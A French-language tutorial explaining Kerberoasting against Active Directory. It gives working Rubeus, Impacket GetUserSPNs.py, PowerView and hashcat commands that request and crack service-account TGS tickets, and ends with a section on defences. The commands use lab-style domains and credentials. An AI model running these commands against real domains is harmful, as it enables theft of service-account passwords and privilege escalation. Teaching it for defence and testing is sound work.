Introduction
Kerberoasting est une technique d’attaque post-exploitation qui cible les environnements Active Directory, plus précisément les comptes de service protégés par le protocole d’authentification Kerberos.
L’objectif de l’attaquant est de récupérer des tickets de service (TGS) chiffrés, puis de craquer hors ligne les hashs de mots de passe des comptes de service associés à des Service Principal Names (SPN). Une fois le mot de passe récupéré, cela peut mener à une élévation de privilèges ou à une lateralisation dans le réseau.
⚙️ Fonctionnement du protocole Kerberos (rappel rapide)
Lorsqu’un utilisateur demande l’accès à un service, il envoie un TGT (Ticket Granting Ticket) valide et le nom du service (via le sname
) au KDC (Key Distribution Center). Si le ticket est valide, le KDC renvoie un TGS, chiffré avec le hash du mot de passe du compte de service ciblé.
C’est cette étape que l’attaquant va détourner pour capturer ce TGS et tenter de retrouver le mot de passe par brute force ou dictionnaire.
🧠 Étapes de l’attaque Kerberoasting
Voici le workflow typique d’une attaque Kerberoasting :
1. Accès initial
L’attaquant compromet un compte d’utilisateur standard dans le domaine Active Directory.
2. Reconnaissance
Il utilise des outils pour énumérer les SPN présents dans le domaine (comptes de service).
3. Requête TGS
Il envoie des requêtes au contrôleur de domaine pour obtenir les tickets TGS associés à ces SPN.
4. Extraction de tickets
Il extrait les TGS localement (le système les stocke en mémoire), à l’aide d’outils comme Rubeus ou Mimikatz.
5. Crackage hors ligne
Le ticket est cracké hors ligne avec Hashcat ou John the Ripper afin de révéler le mot de passe du compte de service.
🔧 Outils utiles
Voici une liste d’outils populaires pour mener une attaque Kerberoasting :
- Rubeus (C#)
- Mimikatz
- Impacket - GetUserSPNs.py
- PowerView (PowerShell)
- Empire / Invoke-Kerberoast.ps1
- Hashcat ou John pour le crackage hors ligne
💥 Exécution de l’attaque - Cas pratiques
🎯 Kerberoasting avec Rubeus
Rubeus.exe kerberoast
💣 Cracker le hash avec Hashcat
hashcat -m 13100 -a 0 hash.txt wordlist.txt
🐍 Kerberoasting avec Impacket (GetUserSPNs.py)
Lister les comptes SPN :
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
Extraire le TGS chiffré :
sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.3.141 -request
⚡ Kerberoasting avec PowerView
Importer PowerView :
Import-Module .\PowerView.ps1
Lister les utilisateurs avec SPN :
Get-DomainUser * -SPN | select samaccountname
Extraire un TGS au format Hashcat :
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Exporter tous les tickets vers un fichier CSV:
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tickets.csv -NoTypeInformation
🧭 Contextes d’exécution possibles
Une attaque Kerberoasting peut être lancée à partir de différents environnements :
- 💻 Windows joint au domaine, avec un shell utilisateur ou SYSTEM
- 🐧 Linux joint ou non au domaine, avec keytab ou identifiants
- 🔐 Shell distant avec
runas /netonly
sur Windows - 🧪 Via un accès VPN ou une session RDP, avec des outils de pentest
🛡️ Détection & défense
Pour se défendre contre Kerberoasting, voici quelques bonnes pratiques :
- Utiliser des mots de passe robustes et complexes pour les comptes de service
- Éviter les comptes de service à privilèges élevés (comme
Domain Admin
) - Implémenter Managed Service Accounts (MSA/gMSA)
- Surveiller les requêtes TGS en masse
- Déployer des solutions de détection comportementale (EDR, SIEM, etc.)
- Restreindre les permissions des utilisateurs standards